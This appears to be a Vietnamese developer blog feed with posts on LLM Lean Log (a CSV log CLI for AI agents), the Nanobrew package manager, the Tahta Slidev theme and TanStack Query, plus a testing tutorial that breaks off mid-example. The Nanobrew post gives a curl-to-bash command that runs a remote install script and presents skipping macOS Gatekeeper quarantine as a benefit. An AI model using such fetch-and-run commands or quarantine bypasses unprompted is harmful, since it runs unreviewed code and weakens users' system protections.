Vấn đề: AI agent chat thì dài, lưu thì tốn token, xem lại thì khó. JSON log nặng, Markdown log thì LLM đọc lãng phí. Còn ghi vào đầu thì... quên.

LLM Lean Log giải quyết: một format log dạng CSV siêu gọn, tối ưu cho LLM đọc, có CLI để agent tự ghi, có visualizer cho người xem.

LLM Lean Log Là Gì?

LLM Lean Log (tác giả: loclv — cùng tác giả Agent MD) là một hệ thống log cho LLM, gồm:

Định dạng CSV — tối ưu token nhất cho dữ liệu dạng bảng
CLI tool (l-log) — agent tự ghi/đọc log, output JSON
Cause & Effect tracking — log nối với nhau qua UUID
Git diff tự động — mỗi log kèm diff của lần thay đổi đó
Visualizer — web app React xem log đẹp
MCP Server — tích hợp vào agent memory

Vấn Đề: Logging Cho LLM

Các format logging hiện tại đều có vấn đề:

| Format | Token usage | LLM parse | Người đọc | |---|---|---|---| | Markdown | Cao | Trung bình | Dễ | | JSON | Cao | Trung bình | Khó | | CSV (Lean Log) | Thấp nhất | Dễ nhất | CLI + Visualizer |

CSV là format bảng thuần tuý — không có dấu ngoặc, không có định dạng thừa. Với dữ liệu log có cấu trúc, CSV tiết kiệm token hơn JSON và Markdown rất nhiều.

Ngoài ra, log thông thường thiếu thông tin ngữ cảnh:

Log level WARNING là cho system, nhưng LLM cần biết vấn đề là gì
Log không có thông tin cause & effect — tại sao lại thay đổi này?
Không có link tới file code hay commit

Cài Đặt

# Node version (l-log)
bun add -g llm-lean-log-cli

# Bun version (bl-log)
bun add -g bl-log

# Visualizer
bun add -g l-log-vis

Định Dạng CSV

Mỗi dòng là một log entry, với các trường:

| Trường | Bắt buộc | Mô tả | |---|---|---| | id | ✅ | UUID, dùng cho cause/effect graph | | name | ✅ | Tóm tắt log (ngắn) | | tags | ❌ | Tag phân loại, cách dấu phẩy | | problem | ✅ | Vấn đề / ngữ cảnh | | solution | ❌ | Giải pháp | | tradeoff | ❌ | Đánh đổi, pros/cons | | spec-decisions | ❌ | Quyết định kỹ thuật ngoài spec | | action | ❌ | Hành động đã làm (code blocks) | | files | ❌ | File đã sửa | | tech-stack | ❌ | Công nghệ dùng | | cause | ❌ | Nguyên nhân (text) | | causeIds | ❌ | UUID của log nguyên nhân | | effectIds | ❌ | UUID của log kết quả | | last-commit-short-sha | ❌ | Git commit (auto) | | created-at | ✅ | ISO 8601 | | model | ❌ | Model AI dùng |

Ví dụ một dòng CSV:

id,name,tags,problem,solution,files,created-at,auth-error-001,API Auth Error,"error,api,auth",JWT expire not handled,Added token refresh logic,"auth.ts, auth.routes.ts",2026-01-13T14:52:58Z

Cách Dùng CLI

Cho Agent: Ghi Log

l-log add ./logs/chat.csv "Fix bug" \
  --tags=bug,fix \
  --problem="Users can't login - JWT expired" \
  --solution="Added token refresh with retry" \
  --tradeoff="More network calls, better UX" \
  --files="src/auth.ts, src/routes.ts" \
  --tech-stack="express, jwt"

Lệnh này tự động:

Tạo UUID
Ghi git diff ra file .diff
Ghi timestamp
Validate các trường

Cho Agent: Đọc Log

# Xem log cuối (tiết kiệm nhất)
l-log view ./logs/chat.csv --last

# Xem tất cả
l-log list ./logs/chat.csv

# Tìm kiếm
l-log search ./logs/chat.csv "Database"

# Lọc theo tag
l-log tags ./logs/chat.csv error api

# Xem stats
l-log stats ./logs/chat.csv

Tất cả output đều là CSV — LLM đọc trực tiếp, không cần parse thêm.

Cho Người: Xem Đẹp

# Thêm --human để xem dạng bảng có màu
l-log list ./logs/chat.csv --human
l-log view ./logs/chat.csv 0 --human
l-log search ./logs/chat.csv "query" --human

Export

# Export ra Markdown (kiểu Obsidian vault)
l-log export md ./logs/chat.csv --vault=./my-vault

# Export ra JSONL
l-log export jsonl ./logs/chat.csv --out=logs.jsonl

Visualizer Web

l-log-vis ./logs/chat.csv

Mở web app React với:

Bảng log đẹp, có màu
Search & filter
Code highlighting
Directed Graph (cause → effect)

Tích Hợp Vào AI Agent Workflow

Thêm rule vào .agents/rules/common.md:

---
trigger: always_on
---
Whenever you finish a task, log your work using:
`l-log add ./logs/chat.csv "<Task>" --tags="<tags>" --problem="<problem>" --solution="<solution>" --files="<files>" --created-by-agent="<agent>"`

Sau đó, mỗi khi agent hoàn thành task, nó tự ghi log. Lần sau agent có thể đọc log để biết chuyện gì đã xảy ra.

Cause & Effect Tracking

Điểm mạnh nhất của LLM Lean Log: log nối với nhau bằng UUID.

Log A: "Thêm JWT auth"
  ↓ cause
Log B: "Fix lỗi JWT expire"
  ↓ cause
Log C: "Thêm refresh token rotation"

Khi LLM đọc, nó thấy causeIds: "uuid-A" trong Log B và biết ngay context. Đây là một Directed Graph của quyết định — không chỉ là list log đơn thuần.

So Sánh

| Tiêu chí | JSON Log | Markdown Log | LLM Lean Log | |---|---|---|---| | Token usage | Cao | Cao | Thấp nhất | | LLM parse được | Trung bình | Trung bình | Dễ nhất | | Cause/Effect | Không | Không | Có | | Git diff | Không | Không | Tự động | | Visualizer | Tool riêng | Tool riêng | Có sẵn | | MCP Server | Không | Không | Có | | CLI cho agent | Không | Không | Có |

Kết Luận

LLM Lean Log giải quyết một vấn đề thực tế: AI agent cần ghi nhớ, nhưng ghi nhớ bằng chat log thô thì tốn token và khó tra cứu.

Với CSV làm format, CLI để agent tự động ghi/đọc, cause/effect tracking để nối các quyết định, và visualizer cho người xem — đây là công cụ đáng có trong stack AI agent của bạn.

Cùng tác giả: Agent MD — CLI viết markdown thân thiện với AI.

Tài liệu tham khảo

Nanobrew — Quản Lý Gói macOS Siêu Nhanh Bằng Zig

Fri, 03 Jul 2026 00:00:00 GMT

Bạn có bao giờ chạy brew install và chờ đợi... rồi chờ thêm một lúc nữa vì brew cứ brew update trước khi cài? Hoặc cảm thấy bực mình vì Homebrew — dù rất tuyệt — lại nặng nề và chậm chạp?

Nanobrew ra đời để giải quyết vấn đề đó: một trình quản lý gói siêu nhanh cho macOS (và Linux), viết hoàn toàn bằng Zig, tương thích ngược với hệ sinh thái Homebrew.

Nanobrew Là Gì?

Nanobrew là một client thay thế cho Homebrew, không phải fork. Nó dùng chính công thức (formulae), bottles, và casks của Homebrew — nhưng được viết lại từ đầu bằng Zig, tạo ra một binary tĩnh 1.2 MB duy nhất, không cần Ruby runtime.

Tác giả: Rach (GitHub: justrach).

Tại Sao Lại Cần?

Homebrew là công cụ tuyệt vời, nhưng có một số vấn đề:

| Vấn đề | Homebrew | Nanobrew | |---|---|---| | Khởi động chậm | brew install chạy brew update trước (có thể mất phút) | nb install chỉ cài, không auto-update | | Runtime nặng | Ruby (~57 MB) | Binary 1.2 MB, khởi động tức thì | | Download tuần tự | Mặc định download từng cái một | Download song song mọi dependencies | | Gatekeeper quarantine | Casks bị dán nhãn "Are you sure?" | Skip quarantine, mở app ngay | | Warm install | brew bundle kiểm tra lại ~10s dù đã cài | Trả về ngay trong mili giây |

Hiệu Năng

Đây là điểm Nanobrew gây ấn tượng nhất. Các benchmark trên GitHub Actions (Apple Silicon):

| Package | Homebrew | nanobrew (warm) | |---|---|---| | tree (0 deps) | 4.070s | 0.009s | | ffmpeg (11 deps) | 14.252s | 0.287s | | wget (6 deps) | 3.935s | 0.027s |

Nanobrew nhanh hơn 15–45 lần so với Homebrew trên warm installs nhờ:

Content-addressable store — lưu bottles theo SHA256, reinstall là instant
APFS clonefile — zero-copy trên macOS, không tốn thêm dung lượng
Streaming SHA256 — verify hash trong lúc download, không cần quét lại
Parallel downloads — tất cả dependencies tải cùng lúc

Trên Linux, Nanobrew cũng thay thế được apt-get với speedup lên đến 13 lần:

| Package set | apt-get | nanobrew (warm) | Speedup | |---|---|---|---| | curl wget (35 deps) | 3.4s | 0.4s | 7.6x | | git vim build-essential (116 deps) | 43.8s | 3.4s | 12.9x |

Cài Đặt

Một dòng lệnh là xong:

curl -fsSL https://nanobrew.trilok.ai/install | bash

Hoặc qua Homebrew (nếu bạn vẫn còn dùng):

brew tap justrach/nanobrew https://github.com/justrach/nanobrew
brew install nanobrew

Hoặc build từ source (cần Zig 0.16.0+):

git clone https://github.com/justrach/nanobrew.git
cd nanobrew && ./install.sh

Sau cài đặt, gõ nb help để xem tất cả lệnh.

Cách Dùng

Nanobrew dùng tiền tố nb, cú pháp quen thuộc nếu bạn đã dùng Homebrew:

Lệnh Cơ Bản

nb install tree # cài một gói
nb install ffmpeg wget curl # cài nhiều gói cùng lúc
nb remove tree # gỡ cài đặt
nb list # xem gói đã cài
nb info jq # thông tin gói
nb search ripgrep # tìm kiếm formula & cask

Phiên Bản Cụ Thể

nb install hexyl@0.17.0 # cài đúng version
nb pin tree # giữ nguyên version (ko upgrade)
nb unpin tree # cho phép upgrade lại
nb rollback tree # quay lại version cũ

macOS Apps (Casks)

nb install --cask firefox # cài app .dmg/.pkg/.zip
nb remove --cask firefox # gỡ app
nb upgrade --cask # upgrade tất cả casks

Linux / Docker (.deb)

nb install --deb curl wget git # cài từ Ubuntu/Debian repos
nb remove --deb curl # gỡ deb package
nb upgrade --deb # upgrade tất cả deb packages

Third-Party Taps

nb install steipete/tap/sag # cài từ third-party tap
# Không cần brew tap — Nanobrew tự fetch formula từ GitHub

Bundle / Brewfile

nb bundle dump # export danh sách gói đã cài
nb bundle install # cài lại từ bundle file

Services

nb services list # xem launchctl services
nb services start postgresql # start service
nb services stop postgresql # stop service

Migration từ Homebrew

nb migrate # quét /opt/homebrew, import vào Nanobrew

Sau migration, nb list, nb outdated, nb upgrade đều thấy được gói cũ.

Cách Hoạt Động

Nanobrew không dùng Ruby, không gọi brew subprocess. Nó tự làm mọi thứ:

nb install ffmpeg
│
├─ 1. Resolve dependencies (BFS, parallel API calls)
├─ 2. Skip gói đã cài (warm path: ~3.5ms)
├─ 3. Download bottles song song (HTTP native, streaming SHA256)
├─ 4. Extract vào content-addressable store (/opt/nanobrew/store/<sha>)
├─ 5. Clone vào Cellar qua APFS clonefile (zero-copy)
├─ 6. Relocate Mach-O headers + batch codesign
└─ 7. Symlink binaries vào /opt/nanobrew/prefix/bin/

So Sánh Kích Thước

| Công cụ | Kích thước | |---|---| | Homebrew | ~57 MB (Ruby runtime) | | zerobrew | 7.9 MB | | nanobrew | 1.2 MB |

Nanobrew nhỏ hơn zerobrew 6.8 lần và nhỏ hơn Homebrew 47 lần.

Hạn Chế

Nanobrew còn ở giai đoạn experimental. Một số thứ chưa hỗ trợ:

Ruby post_install hooks — formula có script Ruby sẽ không chạy
Build from source với custom options — args: ["with-feature"] bị ignore
brew tap command — Nanobrew tự fetch, không cần lệnh tap riêng
Mac App Store (mas) — không hỗ trợ
Complex Ruby DSL trong Brewfiles — conditional blocks, custom Ruby code

Nếu bạn cần những tính năng này, Homebrew vẫn là lựa chọn an toàn hơn.

Kết Luận

Nanobrew là một dự án đầy tham vọng: thay thế Homebrew bằng một binary Zig 1.2 MB, nhanh hơn 15–45 lần, tương thích ngược với toàn bộ hệ sinh thái Homebrew. Dù còn experimental, nó đã đủ dùng cho luồng công việc hàng ngày — cài package, cask, bundle — và đặc biệt hữu ích trong Docker khi cần thay apt-get.

Nếu bạn là người yêu thích tốc độ và muốn giảm thời gian chờ đợi vô ích, Nanobrew đáng để thử ngay hôm nay.

Tài liệu tham khảo

Tahta — Design System Cho Slidev, 13 Biến Thể 1 Dòng

Fri, 03 Jul 2026 00:00:00 GMT

Làm slide thuyết trình đẹp luôn là một cuộc chiến. Bạn có thể dùng PowerPoint và mất hàng giờ căn chỉnh. Hoặc dùng Slidev — viết slide bằng Markdown — nhưng rồi vẫn phải lo chuyện theme, màu sắc, bố cục.

Tahta giải quyết vấn đề này triệt để. Nó không chỉ là một theme Slidev — nó là một design system hoàn chỉnh: tokens, components, layouts, với 13 biến thể thiết kế khác nhau, và bạn chuyển đổi giữa chúng chỉ bằng một dòng config.

Tahta Là Gì?

Tahta (tác giả: Cagdas Salur) là một design system mã nguồn mở (MIT) cho Slidev. Nó cung cấp:

Token foundation — hệ thống thiết kế 3 tầng (primitives → semantic → variants)
Component library — Stat, Plot (ECharts), Callout, Badge, Icon, Reveal...
30+ layouts — cover, stats, chart, timeline, compare, code, agenda...
13 variants — 6 dark / 7 light, mỗi variant là một phong cách hoàn toàn khác

Khác với theme Slidev thông thường (chỉ là stylesheet + vài layout), Tahta là một hệ thống có ràng buộc — tokens được định nghĩa bằng dữ liệu, components đọc token, và variants là một remap của token layer.

13 Variants — 13 Phong Cách

Điểm ấn tượng nhất của Tahta: bạn đổi toàn bộ diện mạo deck chỉ bằng một dòng:

themeConfig:
  variant: brutalist   # đổi style toàn bộ slide

13 variants có sẵn:

| Variant | Scheme | Font | Cảm giác | |---|---|---|---| | editorial (mặc định) | dark | Fraunces + Hanken | Keynote tinh tế | | brutalist | dark | Space Mono | Thô, kỹ thuật | | soft | light | Plus Jakarta | Thân thiện, product | | minimal | light | Archivo heavy | Editorial tương phản cao | | paper | light | Fraunces serif | Ấm áp, vintage | | atelier | dark | Hanken gradient | Studio, premium | | notebook | light | Hanken bold | Vở học sinh, vui tươi | | lagoon | dark | Hanken heavy | Teal pastel, moody | | press | light | Fraunces serif | Tạp chí editorial | | boardroom | dark | Hanken | Navy + cam, corporate | | signal | dark | Hanken heavy | True black + glow, launch | | muse | light | Fraunces serif | Đá xám, trí thức | | poster | light | Anton condensed | Cream + accent nóng, athletic |

Mỗi variant thay đổi toàn bộ: typeface, shapes, textures, density, motion, palette — không chỉ đổi màu.

Cài Đặt

npm i slidev-theme-tahta echarts

(ECharts chỉ cần nếu bạn dùng chart layout.)

Sử Dụng

Khai báo theme trong frontmatter của file .md:

---
theme: slidev-theme-tahta
title: Bài nói của tôi
themeConfig:
  variant: editorial
layout: cover
kicker: Team · 2026
subtitle: Một dòng, 13 phong cách
---

Mỗi layout đọc structured frontmatter — bạn điền dữ liệu, không dàn trang:

---
layout: stats
kicker: Con số
title: Những gì đã thay đổi
stats:
  - { value: 80, unit: "%", label: Giảm latency }
  - { value: 33, unit: "%", label: Tiết kiệm chi phí }
  - { value: 0, label: Giây downtime }
---

Chín dòng, zero markup, một slide stats hoàn chỉnh.

Layouts

Tahta cung cấp 30+ layouts chia làm 2 nhóm:

Keynote / Pitch: cover, lead, section, default, statement, bigtype, quote, stats, fact, metric, compare, chart, steps, feature, timeline, logos, code, two-cols, image, showcase, bleed, embed, end

Teaching / Technical: agenda, define, columns, panels, reference, vs, code-explain, diagram (Mermaid) + các components <Kbd>, <Terminal>, <FileTree>

Charts hỗ trợ bar, line, area, donut (ECharts) với bảng màu categorical sinh tự động từ accent color. Code layout hỗ trợ Magic Move.

Theme Đi Sâu

Tahta có 3 cấp độ tuỳ chỉnh, tất cả đều declarative:

1. Variant

themeConfig:
  variant: brutalist

Đổi toàn bộ style bundle — type, shape, texture, density, motion, palette.

2. Accent

themeConfig:
  variant: soft
  accent: '#c8f135'   # override brand color

Chỉ override hue — lightness/chroma tự normalize vào variant envelope, đảm bảo màu lúc nào cũng hài hoà, không chói.

3. Tokens

Hệ thống 3 tầng trong packages/theme/styles/tokens.css:

Primitives — giá trị gốc (màu, spacing, font size...)
Semantic tokens — components chỉ đọc tầng này
Variant bundles — mỗi variant là một :root[data-variant='…'] remap

Muốn custom sâu? Thêm variant mới: viết một block :root[data-variant='…'] là xong.

Branding & Imagery

themeConfig:
  logo: /path/to/logo.svg
  logoInvert: /path/to/logo-dark.svg

Logo hiển thị lớn trên slide mở đầu, small mark ở footer slide nội dung. Có thể tắt bằng mark: false.

Tahta còn ship module tahta-imagine — crop → duotone theo palette variant → grain. Agent AI có thể dùng nó để tạo ảnh tự động.

Kiến Trúc Hệ Thống

packages/
  theme/              # slidev-theme-tahta
    tokens.json       # primitives → semantic → variants
    layouts.json      # published contract: mọi layout + field
    variants.json     # published contract: mọi variant
    components/       # Stat, Plot, Callout, Badge...
    layouts/          # 30+ layouts
    modules/          # agent capability modules (branding, imagery)
  grade/              # @zcag/tahta-grade — CLI visual grading

Điểm đặc biệt: layouts.json và variants.json ship trong package như một published contract — máy đọc được. AGENTS.md của theme được generate từ những file này.

Quality Enforcement

Tahta có CI pipeline kiểm tra:

Token contract — không có hardcoded values
WCAG-AA contrast — mọi variant đều pass
Render test — CI render mọi layout × mọi variant

Công cụ tahta-grade export từng slide ra PNG, flag lỗi blank/broken/overflow, serve side-by-side report với tab cho từng variant.

Tahta vs Theme Thường

| Tiêu chí | Theme Slidev thường | Tahta | |---|---|---| | Thay đổi style | Sửa CSS thủ công | 1 dòng variant: | | Components | Rất ít hoặc không | Stat, Plot, Callout, Badge, Icon... | | Tokens | Không | 3-tier token system | | Published contract | Không | layouts.json + variants.json | | Testing | Thủ công | CI render × grade | | Agent support | Không | Modules cho AI agent |

Kết Luận

Tahta không phải là một theme — nó là một design system cho Slidev. Token-driven, component-based, variant-powered. 13 phong cách, 30+ layouts, zero CSS, một dòng config để đổi toàn bộ diện mạo.

Nếu bạn dùng Slidev và muốn slide đẹp mà không tốn thời gian dàn trang, Tahta là lựa chọn đáng thử.

Live explorer: tahta.cagdas.io — xem mọi layout × mọi variant.

Tài liệu tham khảo

TanStack Query — Quản Lý Server State Cho React

Fri, 03 Jul 2026 00:00:00 GMT

TanStack Query (React Query) là thư viện quản lý server state cho React. Nó giải quyết: cache, background refetch, stale management, pagination, optimistic update — những thứ Redux/Zustand không làm tốt.

import { useQuery } from '@tanstack/react-query'

function Posts() {
  const { data, isLoading, error } = useQuery({
    queryKey: ['posts'],
    queryFn: () => fetch('/api/posts').then(r => r.json()),
  })

  if (isLoading) return <Spinner />
  if (error) return <Error message={error.message} />
  return <PostList posts={data} />
}

Không useEffect, không useState, không manual loading/error state.

Vấn Đề Server State

Server state khác client state:

| Client State | Server State | |---|---| | Theme, modal, form input | Dữ liệu từ API | | Chỉ UI quan tâm | Nhiều component dùng chung | | Sync ngay | Có thể stale | | Không ai khác sửa | Người dùng khác có thể sửa |

Với useEffect + useState thủ công:

// ❌ Phải tự làm mọi thứ
function Posts() {
  const [data, setData] = useState(null)
  const [loading, setLoading] = useState(true)
  const [error, setError] = useState(null)

  useEffect(() => {
    setLoading(true)
    fetch('/api/posts')
      .then(r => r.json())
      .then(d => { setData(d); setLoading(false) })
      .catch(e => { setError(e); setLoading(false) })
  }, [])

  // ❌ Không cache: chuyển trang → gọi lại API
  // ❌ Không background refetch
  // ❌ Không stale management
  // ❌ Loading flash mỗi lần
}

TanStack Query xử lý tất cả.

Core Concepts

useQuery

const { data, isLoading, isError, error, isFetching, refetch } = useQuery({
  queryKey: ['posts'],           // Key duy nhất cho cache
  queryFn: () => fetchPosts(),   // Hàm fetch dữ liệu
  staleTime: 5 * 60 * 1000,     // 5 phút mới stale
  gcTime: 30 * 60 * 1000,       // Giữ cache 30 phút (trước là cacheTime)
  refetchOnWindowFocus: true,    // Tự động refetch khi focus tab
  retry: 3,                      // Retry 3 lần khi lỗi
  enabled: true,                 // Conditional fetching
})

Query Key

// Key đơn giản
useQuery({ queryKey: ['posts'], queryFn: ... })

// Key với params — tự động refetch khi key thay đổi
useQuery({
  queryKey: ['posts', { page, limit, search }],
  queryFn: () => fetchPosts({ page, limit, search }),
})

// Key best practice: ['domain', 'action', ...params]
['posts']                          // Tất cả posts
['posts', postId]                  // Một post
['posts', postId, 'comments']      // Comments của một post
['users', userId, 'profile']       // Profile của user

useMutation

const queryClient = useQueryClient()

const mutation = useMutation({
  mutationFn: (newPost) =>
    fetch('/api/posts', {
      method: 'POST',
      body: JSON.stringify(newPost),
    }).then(r => r.json()),

  onSuccess: (data) => {
    // Invalidate cache → tự động refetch
    queryClient.invalidateQueries({ queryKey: ['posts'] })

    // Hoặc set cache trực tiếp (optimistic)
    queryClient.setQueryData(['posts', data.id], data)
  },

  onError: (error) => {
    toast.error(`Failed: ${error.message}`)
  },
})

// Dùng mutation
mutation.mutate({ title: 'New Post', content: '...' })
mutation.mutateAsync({ title: '...' }).then(data => ...)

// Trạng thái
mutation.isPending   // Đang gửi
mutation.isError     // Lỗi
mutation.isSuccess   // Thành công

Patterns

Dependent Queries

// Query này phụ thuộc kết quả query kia
const { data: user } = useQuery({
  queryKey: ['user', userId],
  queryFn: () => fetchUser(userId),
})

const { data: posts } = useQuery({
  queryKey: ['posts', user?.id],
  queryFn: () => fetchPostsByUser(user!.id),
  enabled: !!user,  // Chỉ chạy khi có user
})

Parallel Queries

// Tự động chạy song song
const usersQuery = useQuery({ queryKey: ['users'], queryFn: fetchUsers })
const postsQuery = useQuery({ queryKey: ['posts'], queryFn: fetchPosts })
const commentsQuery = useQuery({ queryKey: ['comments'], queryFn: fetchComments })

// Dùng useQueries cho array động
const postIds = [1, 2, 3, 4, 5]
const postsQueries = useQueries({
  queries: postIds.map(id => ({
    queryKey: ['posts', id],
    queryFn: () => fetchPost(id),
  })),
})

Pagination

function PostsPage() {
  const [page, setPage] = useState(1)

  const { data, isFetching } = useQuery({
    queryKey: ['posts', { page }],
    queryFn: () => fetchPosts(page),
    placeholderData: keepPreviousData,
    // Giữ data cũ trong khi fetch trang mới
    // → không bị loading flash
  })

  return (
    <div>
      {data?.posts.map(post => <PostCard key={post.id} post={post} />)}

      {isFetching && <Spinner />}

      <button onClick={() => setPage(p => p - 1)} disabled={page === 1}>
        Previous
      </button>
      <span>Page {page}</span>
      <button onClick={() => setPage(p => p + 1)} disabled={!data?.hasMore}>
        Next
      </button>
    </div>
  )
}

Infinite Scroll

function InfinitePosts() {
  const {
    data,
    fetchNextPage,
    hasNextPage,
    isFetchingNextPage,
  } = useInfiniteQuery({
    queryKey: ['posts'],
    queryFn: ({ pageParam = 1 }) => fetchPosts(pageParam),
    getNextPageParam: (lastPage) =>
      lastPage.hasMore ? lastPage.page + 1 : undefined,
    initialPageParam: 1,
  })

  return (
    <div>
      {data?.pages.map(page =>
        page.posts.map(post => <PostCard key={post.id} post={post} />)
      )}

      <button
        onClick={() => fetchNextPage()}
        disabled={!hasNextPage || isFetchingNextPage}
      >
        {isFetchingNextPage ? 'Loading...' : hasNextPage ? 'Load More' : 'All loaded'}
      </button>

      <div ref={sentinelRef} /> {/* Intersection Observer */}
    </div>
  )
}

Optimistic Update

const mutation = useMutation({
  mutationFn: (updatedTodo) =>
    fetch(`/api/todos/${updatedTodo.id}`, {
      method: 'PATCH',
      body: JSON.stringify(updatedTodo),
    }).then(r => r.json()),

  // Khi mutate, cập nhật cache ngay — trước khi API trả về
  onMutate: async (newTodo) => {
    // Cancel refetch đang chạy để tránh overwrite
    await queryClient.cancelQueries({ queryKey: ['todos'] })

    // Snap old value để rollback nếu lỗi
    const previousTodos = queryClient.getQueryData(['todos'])

    // Optimistic update
    queryClient.setQueryData(['todos'], (old) =>
      old?.map(todo =>
        todo.id === newTodo.id ? { ...todo, ...newTodo } : todo
      )
    )

    return { previousTodos } // Pass cho onError
  },

  // Nếu lỗi → rollback
  onError: (err, newTodo, context) => {
    queryClient.setQueryData(['todos'], context?.previousTodos)
    toast.error('Update failed — rolled back')
  },

  // Refetch để đảm bảo UI khớp server
  onSettled: () => {
    queryClient.invalidateQueries({ queryKey: ['todos'] })
  },
})

Cache Configuration

const queryClient = new QueryClient({
  defaultOptions: {
    queries: {
      staleTime: 5 * 60 * 1000,      // 5 phút — dữ liệu được coi là fresh
      gcTime: 30 * 60 * 1000,        // Giữ cache 30 phút sau khi unmount
      refetchOnWindowFocus: true,     // Refetch khi focus tab
      refetchOnReconnect: true,       // Refetch khi online lại
      retry: 3,
      retryDelay: (attempt) => Math.min(1000 * 2 ** attempt, 30000),
    },
  },
})

Per-query override

// Dữ liệu ổn định — ít refetch
useQuery({
  queryKey: ['settings'],
  queryFn: fetchSettings,
  staleTime: 30 * 60 * 1000,     // 30 phút
  refetchOnWindowFocus: false,
})

// Dữ liệu real-time — luôn fresh
useQuery({
  queryKey: ['notifications'],
  queryFn: fetchNotifications,
  staleTime: 0,                   // Luôn stale → refetch khi focus
  refetchInterval: 10000,         // Poll mỗi 10s
})

DevTools

npm install @tanstack/react-query-devtools

import { ReactQueryDevtools } from '@tanstack/react-query-devtools'

function App() {
  return (
    <QueryClientProvider client={queryClient}>
      {children}
      <ReactQueryDevtools initialIsOpen={false} />
    </QueryClientProvider>
  )
}

DevTools cho phép: inspect cache, manual refetch, reset query, xem trạng thái (fresh/stale/fetching).

Custom Hooks Pattern

// hooks/usePosts.ts
export function usePosts() {
  return useQuery({
    queryKey: ['posts'],
    queryFn: fetchPosts,
    staleTime: 5 * 60 * 1000,
  })
}

export function usePost(id: number) {
  return useQuery({
    queryKey: ['posts', id],
    queryFn: () => fetchPost(id),
    enabled: !!id,
  })
}

export function useCreatePost() {
  const queryClient = useQueryClient()

  return useMutation({
    mutationFn: (data: CreatePostInput) =>
      fetch('/api/posts', {
        method: 'POST',
        body: JSON.stringify(data),
      }).then(r => r.json()),

    onSuccess: (newPost) => {
      queryClient.setQueryData(['posts', newPost.id], newPost)
      queryClient.invalidateQueries({ queryKey: ['posts'] })
      toast.success('Post created!')
    },
  })
}

Khi Nào Dùng TanStack Query?

✅ Nên dùng

Bất kỳ React app nào gọi API
Dashboard với nhiều data fetching
Real-time UI cần sync với server
App có pagination/infinite scroll
Optimistic update cần rollback

❌ Không cần

App không gọi API (static site)
Dùng tRPC (tRPC tích hợp React Query sẵn)
Server-rendered app không có client fetch

Tổng Kết

TanStack Query loại bỏ ~90% boilerplate data fetching trong React.

// Trước: useEffect + useState + loading + error + cache
function Posts() {
  const [data, setData] = useState(null)
  const [loading, setLoading] = useState(true)
  useEffect(() => {
    fetch('/api/posts')
      .then(r => r.json())
      .then(setData)
      .finally(() => setLoading(false))
  }, [])
  if (loading) return <Spinner />
  return <PostsList posts={data} />
}

// Sau: useQuery
function Posts() {
  const { data, isLoading } = useQuery({
    queryKey: ['posts'],
    queryFn: () => fetch('/api/posts').then(r => r.json()),
  })
  if (isLoading) return <Spinner />
  return <PostsList posts={data} />
}

// + Cache, refetch, stale management, retry, devtools — miễn phí

## Tài liệu tham khảo

- [TanStack Query Documentation](https://tanstack.com/query/latest)
- [TanStack Query — useQuery Guide](https://tanstack.com/query/latest/docs/framework/react/guides/queries)
- [TanStack Query — useMutation Guide](https://tanstack.com/query/latest/docs/framework/react/guides/mutations)
- [TanStack Query — Optimistic Updates](https://tanstack.com/query/latest/docs/framework/react/guides/optimistic-updates)
- [TanStack Query — Infinite Queries](https://tanstack.com/query/latest/docs/framework/react/guides/infinite-queries)
- [TanStack Query Devtools](https://tanstack.com/query/latest/docs/framework/react/devtools)

Testing — Unit Test, Integration Test Và E2E Cho Web App

Fri, 03 Jul 2026 00:00:00 GMT

Testing không phải việc "làm sau" — nó là một phần của quy trình phát triển. Code không test là code không hoạt động (bạn chỉ chưa biết thôi).

Pyramid Test

        ╱  E2E  ╲       ← Chậm, đắt, ít
       ╱─────────╲
      ╱Integration╲     ← Trung bình
     ╱─────────────╲
    ╱  Unit Test    ╲    ← Nhanh, rẻ, nhiều nhất
   ╱─────────────────╲

Unit Test: Test function/class riêng lẻ, mock dependencies
Integration Test: Test nhiều module cùng nhau, DB thật
E2E Test: Test flow user hoàn chỉnh, browser thật

Unit Test với Vitest

// utils/format.ts
export function formatCurrency(amount: number, currency: string): string {
  return new Intl.NumberFormat('vi-VN', {
    style: 'currency',
    currency,
  }).format(amount);
}

// utils/format.test.ts
import { describe, it, expect } from 'vitest';
import { formatCurrency } from './format';

describe('formatCurrency', () => {
  it('formats VND correctly', () => {
    expect(formatCurrency(100000, 'VND')).toBe('100.000 ₫');
  });

  it('formats USD correctly', () => {
    expect(formatCurrency(99.99, 'USD')).toBe('99,99 $');
  });

  it('handles zero', () => {
    expect(formatCurrency(0, 'VND')).toBe('0 ₫');
  });

  it('handles negative amounts', () => {
    expect(formatCurrency(-50000, 'VND')).toBe('-50.000 ₫');
  });
});

Mock API

import { vi, it, expect } from 'vitest';
import { fetchUser } from './api';

vi.mock('./api', () => ({
  fetchUser: vi.fn(),
}));

it('returns user when API succeeds', async () => {
  (fetchUser as Mock).mockResolvedValue({ id: 1, name: 'Alice' });
  const result = await fetchUser(1);
  expect(result.name).toBe('Alice');
});

Integration Test với Supertest

import request from 'supertest';
import app from '../app';
import { db } from '../db';

describe('POST /api/users', () => {
  beforeAll(async () => {
    await db.migrate();
  });

  afterAll(async () => {
    await db.destroy();
  });

  it('creates a new user', async () => {
    const res = await request(app)
      .post('/api/users')
      .send({ name: 'Alice', email: 'alice@example.com' })
      .expect(201);

    expect(res.body.data).toMatchObject({
      name: 'Alice',
      email: 'alice@example.com',
    });
  });

  it('rejects duplicate email', async () => {
    await request(app)
      .post('/api/users')
      .send({ name: 'Bob', email: 'alice@example.com' })
      .expect(409);
  });

  it('validates required fields', async () => {
    await request(app)
      .post('/api/users')
      .send({})
      .expect(400);
  });
});

Component Test với Testing Library

import { render, screen, fireEvent } from '@testing-library/react';
import userEvent from '@testing-library/user-event';
import { LoginForm } from './LoginForm';

describe('LoginForm', () => {
  it('shows error when email is invalid', async () => {
    render(<LoginForm />);
    const emailInput = screen.getByLabelText('Email');

    await userEvent.type(emailInput, 'invalid');
    await userEvent.tab();

    expect(screen.getByText('Please enter a valid email')).toBeInTheDocument();
  });

  it('calls onSubmit with form data', async () => {
    const onSubmit = vi.fn();
    render(<LoginForm onSubmit={onSubmit} />);

    await userEvent.type(screen.getByLabelText('Email'), 'alice@test.com');
    await userEvent.type(screen.getByLabelText('Password'), 'password123');
    await userEvent.click(screen.getByRole('button', { name: 'Login' }));

    expect(onSubmit).toHaveBeenCalledWith({
      email: 'alice@test.com',
      password: 'password123',
    });
  });
});

E2E Test với Playwright

import { test, expect } from '@playwright/test';

test('user can sign up and create a post', async ({ page }) => {
  // 1. Visit home page
  await page.goto('/');

  // 2. Navigate to sign up
  await page.click('text=Sign Up');
  await page.fill('[name=email]', 'test@example.com');
  await page.fill('[name=password]', 'password123');
